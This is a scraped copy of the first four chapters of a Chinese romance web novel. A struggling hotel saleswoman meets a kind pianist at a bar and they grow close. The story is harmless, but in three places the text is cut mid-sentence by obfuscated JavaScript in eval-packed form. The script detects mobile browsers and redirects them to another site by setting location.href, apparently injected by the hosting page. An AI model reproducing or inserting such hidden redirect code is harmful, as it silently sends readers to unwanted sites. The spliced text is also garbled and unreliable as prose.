《他的光影》 1. 第一章 【要不我们还是算了吧】 换下制服踏出酒店的第一秒,季纾也收到了相亲对象的微信消息。 明海市的夏季连空气都是滚烫的,她的目光在信息上凝了两秒,加快脚步,往两百米外的地铁站走去。 正值下班时间,地铁站人来人往,拥挤不堪。 季纾也在人群后排了好久,终于在第三趟地铁来临之际挤了上去。 座位已然成稀有物品,她踩着高跟鞋,被人流裹挟着往前。 车辆启动,惯性把她往后甩,她用力攥紧把手,防止自己贴到陌生人汗涔涔的身体上。 好想坐下,好想把高跟鞋脱掉啊! 季纾也开始后悔今天没有带平底鞋出来,想想回到出租屋还需要站一个小时,小腿肚都发抖了。 她轻叹了口气,提前看起外卖,准备今晚好好吃一顿,安慰自己疲惫的身体。 就在这时,冷不丁想起还有一条信息没回,于是她把软件切到微信上,想了想,回复:【好的】 对面似乎就在等着她,反应很快:【你真的不考虑回祯州考公吗?我跟你一起准备,明年考不上就后年】 祯州是明海附近的一个县城,车程两个小时,是她的老家。 相亲对象李源是她老乡,目前在明海市工作,但不久前他告诉她,他准备边工作边考公。 但在刚介绍认识那会,她并不知道这个相亲对象有这个打算,她以为他会一直在明海工作,所以才会答应舅妈见一面。 还记得见面的第一印象挺不错,李源长相周正,性格温和,家庭条件在桢州当地算中上等。 两人微信聊了一段时间,后来也约出来吃过几顿饭,看过几次电影,虽没正式提是否在一起,但也算默认了关系。 三个月前她失业的时候,他还安慰过她一阵,建议她回去考公。他说祯州的难度系数没那么大。 她拒绝了。 而后一直在找工作。 大概是觉得她前途昏暗朽木不可雕吧,他终于在今天提了结束。 哎,本来打算晚上回去就告诉他她已经找到了新工作,且第一天入职的感受还不错呢。 季纾也有些小遗憾,但更多的是松一口气。 对于这个相亲对象,说喜欢吗,也还好。似乎就是被家里和现实推着往前走,觉得现在不谈一个,之后年纪上来就更遇不上好的了。 【不考虑回去,祝你早日上岸[微笑]】 对面没有再回复,季纾也切出了微信,在拥挤的车厢里,怅然地刷起了外卖列表。 说起来,毕业后的三年里她做了很多工作,广告创意、房地产销售、新媒体运营、公司前台……甚至过渡期还去摇过一个月奶茶。 她运气不好,每次去的工作不是公司倒闭就是上级猥琐,不是加班加到死就是同事mean到爆,最终导致她都做不长久。 但她从来没想过回老家。 三个月前失业后,她一直在积极投简历,上周很意外地收到了斯卡顿酒店的入职通知。 斯卡顿是明海市五星级酒店,她能在里头做销售专员。 实际上,她没想到自己能进斯卡顿这种顶奢酒店。所以即便得知跟她一起入职的这十人最终只有一半能留下时,也丝毫没有影响她兴奋的心情。 能进就已经很好了,就算她被淘汰,之后再去找其他酒店的工作也能当履历上精彩的一笔! 恩,其实她觉得自己一定会被淘汰。 因为她运气向来不好。 第一周的工作比季纾也想象中的更累更繁杂。 新入职的这一批人要快速地熟悉酒店产品知识和客户档案,摸透销售业务的流程,掌握和酒店内部部门的协作要点。 而在熟悉这些工作的间隙,她还要随时跟上级经理一起去拜访客户。当然,她在拜访期间只是担任小喽啰的角色,给经理开车,为经理递资料,对客户微笑。 这天,她又和经理在外面跑了一整天,被允许下班回家的时候,已经快要九点钟。 季纾也又困又累,一想起回去还要一个小时的地铁,心里更是绝望。 但打车的费用会让她把这些绝望狠狠地压回心底。 叮叮叮—— 在她走往地铁站时,手机响了起来。 季纾也接起电话,声音有点低:“喂,妈。” “纾也,睡了吗?” “还没呢,刚下班。” “下班?你找到新工作了?什么时候的事?” “……上周。” “这就是你跟小李分手的原因?你就铁定了心不回来,要在外面瞎混是吧?” 电话里的人声音拔高了几个度,季纾也就是知道她妈妈会这样关联,所以才一直没告诉她自己有了新工作的事。 她没继续走,在路边的花坛旁坐下:“没有瞎混,我现在这个工作挺好的,是在一家酒店工作,五星级……” “酒店?酒店能干什么工作啊?” 眼看她想歪,季纾也无语制止:“销售!酒店销售啊,客房、会议厅、酒宴厅……都是需要卖的!” “什么跟什么,销售有什么前途,又没见你多能说会道。” “……” “回家来找个稳定的工作,或者考个公务员多好。还有小李,小李这么优秀的男生错过就没有了,你都要二十六了知道吧,别仗着还有点姿色就乱来,再过两年可根本找不到什么好男人!我说你啊,在外面混也混不好为什么不回来?” 人生总是有这么多为什么。 季纾也听着听筒里喋喋不休的话语,望着四周矗立的摩天大楼,也在问自己为什么。 为什么没有很优秀,为什么没有混得很好,为什么没有闯荡的资本却还要一直往前冲。 回想这几年,她好像把自己的人生弄得糟糕又无聊。 一通电话成为忙碌一天后最重的那根稻草。 挂电话后,季纾也愈发沮丧,漫无目的地在街上走着,等意识到错过地铁站的时候已经走出去三四百米,懒得回头了。 算了,吃点东西吧,好饿。 季纾也张望了下四周,看到不远处有一家餐厅,门口写着“月下”。 平时吃一家餐厅她是肯定会拿出手机看一下人均,但今天累得一步也不想多走,便没有多想直接走了进去。 进去后才发现这是一家餐酒吧,这个时间点,零星几个人在这里小酌。 还好也是有吃食的,季纾也找了个二楼的位置坐下,确认菜单价格并没有很贵后,便点了一碗番茄意面,一杯啤酒。 餐吧一楼的小舞台上有个驻唱歌手在唱歌,浅浅淡淡的民谣,把她心底那些悲伤又勾了出来。 她想起妈妈电话里说的话,也想起毕业这几年来自己屡次三番找工作,在遍地是金的明海市,一点名头也没混出来。 还有爱情,学生时代不被允许谈恋爱,毕业后工作得灰头土脸,遇到的都是些稀奇古怪的烂桃花。 唯一遇到的正常的李源,现在也要吹了。 钱没有,爱情也没有。 这该死的人生…… 眼睛不知不觉红了,季纾也拿起啤酒一饮而尽。 心情不好就想要借酒消愁,于是她后来又点了一杯,只是这破啤酒,从瓶装罐倒到玻璃杯里,价格竟然就翻倍了。 季纾也趴在桌上,气恼盯着玻璃酒杯看。 就在她快被浓稠的负面情绪吞噬时,楼下舞台上突然传来了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283696|198386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵清冽的钢琴声,就像一滴甘泉,倏地滴在了她的脑门上。 她轻颤了一下,好像被抚慰到一般,脑子里乱窜的情绪蓦地停滞住。 这是一段她压根叫不出歌名的钢琴曲,旋律舒缓温柔,覆盖了餐吧里原本吵闹的话语声和酒具碰撞声,带着奇异的、安抚人的力量。 季纾也听了一分钟后,不自觉探出二楼栏杆,往下看去。 原本在一楼舞台上的驻唱歌手已经离场,此时换了一个穿着白T恤的男人,坐在一架黑色钢琴面前,餐厅里蔚蓝色的微光勾勒着他专注的侧影,睫毛很长,鼻梁高挺,下颌线清晰。 他的手指也很修长,骨节分明,在舞台的柔光下泛着象牙般温润的光泽。手掌在琴键上起起落落间,还能看到手背上凸起的淡青色血管,克制、温和、有力。 不需看全脸,就已经能感觉到这是个极其俊朗的男人。 季纾也听得着迷,也看得着迷,趴在栏杆上,听他弹了一曲又一曲。 等到他结束表演下台时,她才骤然发觉自己脸颊凉凉,流了好久的泪。 她坐了好久。 后来见他迟迟没有再上台弹琴,而是换回了原先那个驻唱歌手时,才怅然若失地拿起包,下楼结账。 走出门的时候已经是深夜,夜风袭来,把她有些眩晕的脑子吹醒了几分。 “小姐姐,加微信吗。”伴随着风来的还有从她身后的一个男声。 季纾也回头看了一眼,发现有两个男人,她记起他们是跟她一样坐在二层的客人。 她没有犹豫,摇了摇头,因为她更记得这两人方才边上还坐了女生。 “就是交个朋友,没别的意思啊。小姐姐你是干什么的,卖房的吗?” “哪是,我看更像空姐!” “对对,身材真好!小姐姐你是哪个航空啊?” 季纾也今天跟经理出去见客户,穿的是很正式的职业装。 小西装、及膝包臀裙、高跟,很有职场范。 她不想搭理这两人,抬脚就走,却没料到他们尾随着:“小姐姐你去哪?送你一程啊。” 喝多了的猥琐男,季纾也不是没遇到过。 她害怕拉扯纠缠,立刻加快脚步。 然而酒精上头,越快越慌张,越过人行道上的一截小阶梯时不小心往边上崴了一脚。 “啊——”季纾也短促地惊叫一声,跌坐在阶梯上,手里抱着的包包也摔在地上。 她头皮一麻,第一个反应是先去看包里的电脑,电脑太贵,不能摔坏。 身后脚步匆匆,有人靠近。 季纾也心中慌乱,害怕那两醉酒男跟上来,赶紧把电脑放好,挣扎着要起来。 “你没事吧?” 突然,身后传来一个声音。 出乎意料的是这声音中不带醉意,清润的音质,温和、干净,像夜色里流淌着的钢琴音。 季纾也怔了怔,倏地抬眸。 目光触及来人眼睛时,心脏“咚”的一声,跳得异常清晰。 她没想到会在这里再遇到方才弹钢琴的男生,更没想到他会来跟自己说话。 他就站在上一级阶梯,逆着光,微微俯身,身型轮廓被路灯勾勒出一圈柔和的金边,好像突然降临的天使。 是她喝太多了吧,但这一刻,她真是这么觉得。 “能站起来吗?”他再次开口,眼里是纯粹的善意。 季纾也不自觉地攥住手,她的脚并没有多痛,电脑也没有摔坏,一切都没大碍。 所以按照平时,她应该会说句谢谢,然后婉拒。 但此时她也不知道自己怎么了,像鬼迷了心窍一般,轻声开口: “我的脚崴了,可以帮帮我吗。” 2. 第二章 脚踝骨头没事,但摔的时候蹭破了皮,血丝和裹着的灰尘交杂在一起,表面看着有点严重。 季纾也被扶着坐到了旁边的石椅上,包包也被妥帖地放到一边。 “不用担心,刚才那两人没有跟上来。”眼前的男人开口,温和的话语中带着对她的安抚。 季纾也抬眸看他,“你怎么知道——” “我刚才就站在附近,看到你们从店里出来。” “……这样。” 男人看了眼她的腿,“需要送你去医院吗?” 季纾也忙摆手:“不用不用,没那么严重,我回去自己处理一下就行。” “那你还能走路吗?” 季纾也抿了抿唇:“先缓一下。” 男人点点头,“你等我几分钟。” “恩?” 他没有再说什么,转身往来处走。 约莫过了六七分钟,季纾也看到他回来了,手里还提着一个小袋子。 “这附近没有药店,所以从店里拿了碘伏和创可贴。对了,还有湿纸巾,你的脸……” 他话没有说完,但季纾也却意识到什么,打开手机镜头看了眼,僵住。 因为之前在店里哭得一塌糊涂,她此时的妆也是一塌糊涂。 眼线晕开了,眼周被染得又青又黑,睫毛膏彻底挣脱,细细的黑痕像苍蝇腿挂在脸上。粉底也被眼泪冲刷出沟壑,斑驳狼狈,掩不住她脸上的疲惫和脆弱。 刚才那两人是瞎了吗,她都这样了还来要微信?! 但现在这不是重点,重点是她这会以这种丑态出现在一个帅哥面前! 方才还被激起的一点愉悦彻底被压没了,季纾也觉得自己真是倒霉,彻底的倒霉。 她根本就没有运气好的时候。 “怎么又哭了,是很疼吗?” 男人担忧的声音传来,于是季纾也哭得更厉害了。 她抽噎着拿过他手里的纸巾,狠狠擦了几下脸,“也还好,我就是……就是觉得有点不顺。你说我的生活怎么老这么不顺利呢,工作也是……哪哪都不顺利!” 她已经不管不顾了,眼泪不停掉,对着一个陌生人埋怨。 “工作好累,每天都好忙……可没人理解我,我爸妈只会让我回老家去,但我不想回去,回去会被他们安排,永远都不自由了。还有相亲对象,他说结束就结束,我想谈一场简单的恋爱就那么难么……真的好烦。” 她喋喋不休,一张纸巾默默递了过来。 “生活总会变好,不会一直这样。” “可我这么些年就没好过。” 男人迟疑了下,说:“也许顺利就在不久后。” 季纾也顿住,抬头看他:“会这样吗。” “会的。” 季纾也吸了吸鼻子,突然问道:“你叫什么名字?” 男人顿了顿,垂眸看她:“夏延。夏天的夏,延续的延。” 夏,延。 夏天的延续。 好好听的名字。 季纾也突然觉得酒醒了几分,又理智了,有些窘迫地捏住纸巾,觉得自己方才好像说太多。 “冰袋拿着,敷一下脚踝吧。”他走近一点,很礼貌地把东西递给她。 季纾也呐呐说了声谢谢,微微俯身,把冰袋摁在了脚踝处。 夜深人静,这条路上的行人并不多。 两人一站一坐,都没说话,气氛有微妙的尴尬。 季纾也咽了咽嗓子,又忍不住开口:“我刚才在里面听你弹琴了,我还从来没听过这么好听的琴声。” 夏延摸了摸鼻子:“真的吗。谢谢,其实我第一次在店里弹。” 季纾也看到他因为被夸奖而泛起一丝薄红的耳朵,心口麻麻的。 她没感受过这种感觉,轻吸了口气抑制,轻声说:“真的,真的很好听。你是在这里上班?” “算是吧……” “那你表现得很好。” 夏延轻笑了声:“你这么说,我下次更有自信了。” 季纾也眨巴下眼睛,也跟着他笑,突然觉得,一晚上的阴郁好像都散了。 “对了,你现在这情况,最好让你家人或者朋友来接你。”夏延说。 季纾也放下冰袋:“我没跟家人一起住。没事,我可以打个车回去。” “但你应该喝多了。” “唔……我还算清醒。”说完看到他的眼神,想到自己方才发酒疯乱哭,有些不好意思道,“刚才,对不起啊。” 夏延眉眼柔和:“没事,这有什么,每个人都有不开心的时候。” 季纾也看了他半晌,恩了一声。 之后,她打了车。 在司机来之前,夏延很好心地把她扶到路边,“注意安全。” “我可以加你的微信吗?”季纾也问。 夏延微愣。 季纾也脸颊开始发红,她也是第一次这么勇敢:“我,我一个人住。毕竟喝酒了,所以我想,如果我到家了,给你发个消息报平安行吗。” 他没有立刻回应,季纾也看着他,只觉心脏掉落了回去,“不行也没关系,不好意思啊……” “好。” “……” 夏延浅声说:“到家跟我说一声。” . 今晚又额外多了笔打车的费用,但季纾也丝毫没有因此心情不好。 走到家门口时,她给夏延发了第一条信息:【我到了,今天晚上谢谢你】 夏延很快回复:【不用谢,安全就好】 季纾也:【对了,我叫季纾也】 夏延:【恩,收到[微笑]】 季纾也嘴边弯了个大大的弧度,忍不住又点开他的朋友圈。 方才在车上她已经看过一遍了。 他的朋友圈背景是一片蓝天,角落有个飞起的金鱼风筝,很阳光很温暖。 就像夏延给人的感觉一样。 他的朋友圈内容不多,一个月约莫一、两条的样子,大部分是很随性的图片,枝叶、湖水、蓝天,偶遇的小猫小狗。 最新的一条是上周发的,只有一张图,是从窗口往外拍,满框的绿叶,很有夏天的味道。 “我靠,你腿怎么了?”刚进门,就遇上了同租房的程薇。 程薇是她大学学姐,大她两届,以前在学校参加过同个社团,关系很好,只是毕业后不太联系。 后来再遇上,是因为程薇年前在朋友圈招室友,她当时正好在找房子,觉得这里价格挺合适,就过来了。 “没什么,路上摔了一跤。” “你可真够不小心的。”程薇走过来问道,“喝多了摔的?” 季纾也低头闻了闻:“……味道很重吗?” “挺重的,你今晚是跟你老大应酬去了啊?天,那你这可算工伤啊。” 季纾也笑笑:“不是应酬喝的,我刚才自己吃饭的时候小酌过。哎呀放心啦,伤不严重。” “走路一瘸一拐的还不严重呢……还笑,我看你心情不错啊。” 季纾也眉梢轻挑了下,“还行吧~我现在得赶紧去洗个澡,好累,好想快点睡觉。” 程薇:“行行行,去吧。” 回房后,季纾也没有再给夏延发消息,他自然也没有再回复些什么。 洗过澡的季纾也沉沉睡去,一夜好梦。 第二天,她被闹钟惊醒,惯性摸起手机往浴室走。 洗漱的时候突然想起昨夜的人,又点进他的朋友圈看了一遍,最后停顿在最新的那一条,思索了好久,给他点了个赞。 . “纾也,早啊。” 刚到换衣间就和两同事遇上,季纾也打开自己的柜子,同她们打招呼。 “早。” “今天你这身好看诶,这裙子哪买的?”同事陈慧凑过来问道。 季纾也答:“网购的,给你链接?” 陈慧:“好啊好啊。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283697|198386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 另一同事邹小岚笑说:“我看这裙子也就纾也穿能好看,慧啊,你还是别买了,不太适合你。” “干嘛啦!”陈慧努努嘴,“我穿应该也还行吧?” 季纾也眼睛弯弯:“肯定行啊,链接发你了。这裙子穿起来很舒服的。” 陈慧打开链接一看,发现这条连衣裙只要一百多,她还以为要四五百呢。而且,评论里的买家秀看起来有点丑…… 还真就季纾也穿起来好看。 陈慧忍不住又打量了她一下,眼前的女生已经开始换酒店制服,约莫一米六五的个子,腰细腿长,比例很好。 五官分开看都是清秀类型,但合在一起莫名吸睛,杏眼娇俏,皮肤分外白皙。 “算了我还是不买了,不适合我。” 邹小岚闷笑:“就说嘛。” 陈慧啧了一声,关掉手机,突然又神秘兮兮地说:“诶,有个小道消息你们听不听?” 邹小岚一脸好奇:“什么小道消息?” 陈慧:“我听说我们酒店要被收购了,被一个大集团。” “真的假的?” “应该是真的,听其他部门的熟人偷偷讲的。” “啊……那怎么办?” 季纾也换好外套,在绑头发了,这话题她并不怎么感兴趣。 “不知道啊,也不知道新来的领导会怎么样呢。”陈慧轻拍了下季纾也,“纾也,你怎么看。” 季纾也:“这种事……应该跟我们没什么关系吧?” 陈慧:“当然有关系了!万一新领导要整顿内部呢?万一要裁员呢?” 季纾也:“可是我们本来都算是在试用期,就算没有新领导,也很有可能被裁掉。” 邹小岚:“……” 陈慧:“……崩溃了。” 季纾也乐道:“我还要去上个厕所呢,你们要去吗?” 陈慧:“我们刚去过。” “好,那我先走了,等会见。” 季纾也是真不在乎什么新领导,什么内部整顿,这种事来就来了,她们这种小喽啰也只有受着的命,想太远没有任何意义。 从洗手间出来后正式进入工作状态,一整个上午,他们都在培训。 下午季纾也的工作是整理最近一年里所有客户的档案,需要打电话问候,并问到寄节日礼物的新地址。 斯卡顿这样的酒店客户很多,季纾也一个下午解决不完,又加了好久的班。 下班从酒店出来的时候,外面天已经黑透了。 她径直往地铁站走去,可临到目的地,突然又停住,最后像下定什么决心似的,打了个车,前往“月下”。 她鬼使神差地想再去听钢琴曲。 然而这天晚上的月下却没有弹钢琴的人,季纾也在这吃了一顿饭,又坐了好久,舞台上还是只有唱民谣的歌手。 她只好离开了。 后来几天,她每天都去“月下”吃晚饭,但每天都没有听到钢琴曲。 她开始怀疑他是不是真员工,但想起他的眉眼,又觉得他实在不像骗子…… 所以会不会生病了呢?或者……辞职了? 季纾也感到揪心,她发觉自己是真的真的还想再见他一次。 . “纾也,要不要吃苹果?” 周日晚上,睡了一天的季纾也边刷朋友圈边从房间走出来,听到厨房里的程薇招呼,她随口应了一声,“行。” “那我多切一个。” “给我切个小的——”话刚说完,她的目光突然凝结住,因为她刷新朋友圈时,跳出了夏延的内容。 他在朋友圈发了一张图,图上是一架钢琴。 月下的那架钢琴! “切好了,过来吃……我去,你干嘛啊?要出门吗?”程薇切完苹果一转头,发现季纾也已经穿戴整齐,甚至在快速上妆。 “我出去见个朋友,晚点回来!”季纾也把眉笔扔在玄关处,甩门而出。 3. 第三章 临近“月下”的时候,季纾也竟然觉得有几分紧张。 但却不是面试或者工作时那种让人不适的紧张,而是一种兴奋,期待。 大概是周末的缘故,今晚“月下”的人很多。 季纾也一进门就看到舞台上弹琴的夏延,他今天戴了鸭舌帽,遮了大半张脸。穿了一件细条纹的蓝白短袖衬衣,扣子敞开,里面是白色的T恤,灯光下,干净而柔和。 她在角落的位置找到了一个空桌,这个位置她能看到他的正面。 但是……今天的他似乎不太开心? 季纾也点了杯鸡尾酒,心里这么想着。 因为他今天的曲子特别哀伤。 原本她是打算好好聆听这份“哀伤”,但没一会,夏延就起身下台了。 她的一杯鸡尾酒都还没喝完。 记得初遇他那天他弹到很晚呢……今天怎么这个点就结束了。 季纾也怅然若失,下意识想起身寻过去,远远看到有几个女客上前拦住他,环境有些吵闹,她听不到他们说了什么,只看到那几位女客很快失望地回到位置上。 而夏延的身影走入内部区,一直没再出来过。 等了许久的季纾也只好走出“月下”,站门口的时候,她心想要不要给夏延发个消息。 比如说【今晚弹得很好】、【我又看到你了】之类的? 可这样会不会显得很呆,也许人家早忘记她是谁。 季纾也叹了口气,点开和程薇的对话框。半个小时前程薇给她发了消息,很八卦地问,她是不是见男人去了。 季纾也之前走得急没跟她讲清楚,这会承认了。 程薇:【我靠,谁啊?又是新的相亲对象?】 季纾也:【不是,就偶遇的】 程薇:【那能让你大半夜出门?不得了啊,今晚不会跟那男人走了吧[奸笑]】 季纾也心想程薇也真是想太多了…… 哪有这种好事。 季纾也心里郁闷,回复程薇:【我马上回来了】 程薇:【啧啧,这可太没劲了……那你到小区门口的时候帮我买份烤冷面】 季纾也:【行~】 季纾也点开打车软件,打算回程。也就在这时,有个意外的声音从旁边传来。 “季纾也?” 不是熟悉的声音。 可不知道为什么,他的声色就是那样牢牢地被她印在脑海里。 以至于她的耳膜刚受到碰撞,她的心就开始狂跳。 后来她也曾有多次思考,她对夏延是不是传说中的一见钟情。因为太神奇了,她从未对哪个男生有过这样的反应。而且,在此之前,她以为她这辈子都不会遇到心跳完全不受控制的爱情。 此时脑子一片混乱的季纾也缓缓转头,看向了不远处的男人。 那人对她笑了笑,眉眼柔和:“真的是你。” 季纾也嗓子有点干:“你,你记得我的名字?” “我们上次互换过名字,不是吗。” “啊……是,但我以为你忘了。” 夏延:“不会,你上次让人印象深刻。” 季纾也脸颊瞬间发热,窘迫道:“我上次确实有点糟糕,抱歉,我那会喝多了。” “不是这个意思。”夏延浅笑,“我是说,挺可爱的。” “啊?” 季纾也诧异抬眸,这下连着脖子都热腾腾,她感觉自己要熟透了。 眼前的男人似乎也意识到自己脱口而出的话语有些突兀,神色露出几分不自然来,清了下嗓子,扯开了话题:“今天好巧,又遇到你了。” 季纾也回神,但一颗心还在因为他的一句话而躁动着:“也不巧。其实我今天是专门过来听你弹琴的。” 夏延眉梢微动:“是吗,谢谢。” “是我想谢谢你。”脸颊温度持续不降,可季纾也在强迫自己说下去,因为她觉得,如果错过这次,就没有下一次了。 “上次你帮了我,我一直想再当面谢谢你。” “那没什么。” “对我来说很重要,不止是你扶了我,还有你那天的琴声也让我开心了许多……”季纾也默了默,突然道,“不过,你今天是心情不好吗?” 夏延怔了怔:“怎么这么说?” “就是感觉你今天弹的曲子让人有点难过,还有你的神情也……我就是瞎猜。” “那你挺厉害。” “啊?” 夏延有些无奈道:“今天确实心情不好。” 今天的他看起来很沉闷,眉眼虽是温柔的,却有化不开的阴郁。 季纾也的心脏因眼前的人失序地跳动着,觉得自己真是色令智昏,竟然觉得这样的他也好好看。 她定了定神,安慰道:“会好的,就像你之前跟我说的,生活都会好的,顺利会在不久之后。” “恩,也许吧。” “不开心的话其实可以喝点酒,借酒消愁嘛。呃……其实我是想说,如果可以的话,我请你?”季纾也急急说出口,说完后整个人都绷紧了,觉得自己的提议很突兀。 她很害怕被拒绝,但与此同时又觉得,被拒绝也很正常。 她突然说这个也太怪了吧!而且像他这样的人,应该有很多人想请他吃饭或者喝酒。 “当然,你有事就算了,你可以先走,没事的。”她立刻给自己找台阶下。 却没想到夏延笑了下,说:“可以,我没什么事。” . 季纾也松了一大口气,用平时自己最能感觉到开心和放松的方式来请他喝酒。 她在便利店里买了几罐啤酒和一堆吃的,带着夏延进了附近的一所大学。 夜色里的大学依然充满生机,季纾也走到操场旁的看台上,随便找了个阶梯坐下,然后示意夏延坐她旁边。 “开始吧。”季纾也兴致勃勃。 夏延把自己手上的购物袋放下,有些意外,“在这里吗?” “恩,可以吗?” 夏延并不挑剔,“当然。” 季纾也解释:“我有一段时间找不到工作,心情烦闷就会坐在大学的操场上吃东西,随便哪所大学都行……哦,不过有些你需要提前预约入校。反正我那会就慢悠悠地喝点啤酒,看着操场上的学生们跑步聊天谈恋爱……离开的时候,心情就会好很多,你今天可以试试。” 夏延没试过这样的方式,有些新鲜:“这里环境是挺舒服。” “对呀,而且看着这些年轻人,就会想起在学校里的自己,那时的年龄很敢想,总觉得自己会有无限可能。” “说得好像你已经很老了一样。”夏延打开啤酒递给她,又自己开了一罐,“你看起来还很年轻。” “也没那么年轻,我二十五,毕业都好几年了。你呢?” “比你大两岁。” “喔,那挺好~” 夏延侧头,眼底含了点笑意:“哪挺好?” 大两岁挺好,她不喜欢姐弟恋。 但季纾也自然不会开口说这种话,胡乱喝了口啤酒,耳朵红红:“没,就,就年纪挺好,正是可以闯的时候呢。” 夏延似乎是被她的话逗到了:“恩,确实。正是闯的时候。” 夜晚的操场人来人往,他们坐在高台上,看着来往的人就像在看风景。 一罐啤酒很快见底,怕胃不舒服,季纾也建议他多吃点热食,比如关东煮填填肚子。 “很好吃。”夏延吃了一口后,称赞道。 季纾也:“这家便利店就开在你们酒吧边上,你从来没进去吃过吗?” 夏延顿了顿:“是没进去过。恩……主要是我也很少去月下。” 这点倒是真的,蹲了这么多天,也就今天看他来弹琴了。 “所以你是兼职?” “恩,店长是我朋友,我偶尔会来。” “这样啊……”季纾也问道,“那你主职是什么?” 夏延:“地质探测。” “啊?”季纾也睁大眼睛看着他,“那你是不是时常要去各种地方采样?” 夏延:“恩。” “好特别……我身边从来没有这样的人。” “就是普通的职业。” “一点都不普通,观测大地山海,很厉害!”大概是喝上头了一些,季纾也心里的紧张也消失了很多,眉梢雀跃,“你有去过很偏远的地方吗,会遇到危险吗?” 女孩亮晶晶的眼神让夏延觉得有趣,他道:“去过偏远的地方,也遇到过危险。比如说泥石流、山洪。还有密林,峡谷这种地方,就很容易滑坠或者迷路。” “天……那你以后要是去深山野林,一定要注意安全。” 女孩说得很认真,让人轻易感觉到她眼中真心实意的关切。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283698|198386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏延心口不可思议地软了软,道:“好,我会的。你呢,你的职业?” “我呀……我做酒店销售,就是负责酒店客房、会议服务等产品的销售。”季纾也有些不好意思地说,“跟你的工作比起来,我这个无聊很多啦。” “不会,对我来说很新鲜。就像你不了解我的工作,所以也觉得很新鲜一样。” 聊工作,很像相亲的一个环节。 之前跟李源第一次约出去吃饭的时候,他们也像现在这样讲起自己的工作,也穿插一些工作中发生的事。 可那时的季纾也只觉得是在例行公事。 但面对夏延,她是真心想听他聊他的工作,也真心想分享几样自己工作中的趣事给他。 之后,他们时而安静地看着黑夜,时而聊两句生活中的琐事,好像认识了很久一样。 但关于夏延的不开心,他没有主动说,季纾也也没有主动问。 她想,今晚在这里,他能短暂地忘记不开心就很好了。 不知不觉,两人待了很久,买的几罐啤酒被喝光了,吃食也只剩了一点点。 夜深了,操场上只剩下零星几个跑步的学生。 他们后知后觉该离开,季纾也看着夏延把吃的零食袋都放进袋子里,把位置收拾得干干净净,起身。 “还能走吗?”他问。 季纾也:“可以,我酒量还行呢。” 季纾也跟着站起来,但看台这边太黑了,再加上她喝得晕乎乎,像踩在云朵上,一下子没踩准,往边上歪。 走在她前面的夏延似乎是一直在注意着她,回身很快,拽住了她的胳膊。 “小心。” 季纾也借力站好:“谢谢……” “太黑了,你抓着我。” 季纾也有点不好意思,小声应着:“好。” 他松开她的手臂,微微侧着身,把手递给他。 季纾也伸手探了过去,她本意是想抓住他小臂上的衣服,而他的意思大概也是如此。但迷迷糊糊间,她抓到的却是他的手。 温热的,干燥的,很大的手掌。 猝不及防地贴合,让两人的脚步同时停住。 夜晚的夏风忽然变得存在感极强,抚过他们的发梢,也抚过他们的手。 夏延愣了愣,侧眸看她。 季纾也正好也仰起了脸,眼神因为微醺带着一层水汽,脸颊被酒精染上的绯红在夜色中娇俏得让人移不开眼。 两人的视线就这么对上了。 怦、怦、怦。 猝不及防的悸动从掌心蔓延开来,心跳声像困久了的两头小兽,要撞出胸口。 “我……” “跟着我走。”夏延浅声道。 他轻轻收拢了手指,将她牵在手心。 季纾也喉间发紧,脸红得要爆掉。她没有抽出来,而是更紧地拉住了他,防止自己被此时的场景冲晕倒。 一切都被放慢了,两人再没有其他言语,一前一后,相连的手隐在彼此的侧影里。 也不知过了多久,当他们从操场走出来,校园的路灯明晃晃地照在他们脸上时,季纾也才终于回过神来。 交握的手心沁出了一点汗意,季纾也停住脚步,垂眸看了眼。 夏延意识到她的视线,清了清嗓子,松开手:“我送你回去吧。” 季纾也看到灯光下他的耳朵泛起一丝血色,嘴角不受控地弯了弯:“但我家挺远的。” “没关系,你喝多了,安全要紧。” 她没有再拒绝,因为她也想跟他再多待一会。 校门口打了车后,他送她到小区门口。 “那你怎么回去?”季纾也问。 “我再打个车。” “好吧……那,我走啦?” “恩。” 季纾也往小区门口走了几步,忍不住回头看,他还站在原来的位置,目送着,关心她的安全。 温柔、礼貌、健谈,英俊,还有点害羞。 天,他完完全全是她的理想型。 心口一动,季纾也停住脚步,彻底转了身。 “夏延。” “恩?” “你今天有开心一点吗?” “恩。” “那……下次还能见面吗?”她大胆地问道。 夏延眼底微微一闪,似乎是犹豫了下,但几秒后还是开口:“当然。” 4. 第四章 回到家后,程薇已经不在客厅。 季纾也换完鞋,给自己倒了杯水,咕噜噜喝了几大口。 “可算回来了,我的烤冷面呢?”房间门被打开,程薇倚在门口,似笑非笑地看着她。 季纾也赶忙放下杯子:“啊!我给忘了。” “哟哟哟,忘了呢,我猜也是这样。说好的马上回来,结果到这个点~” 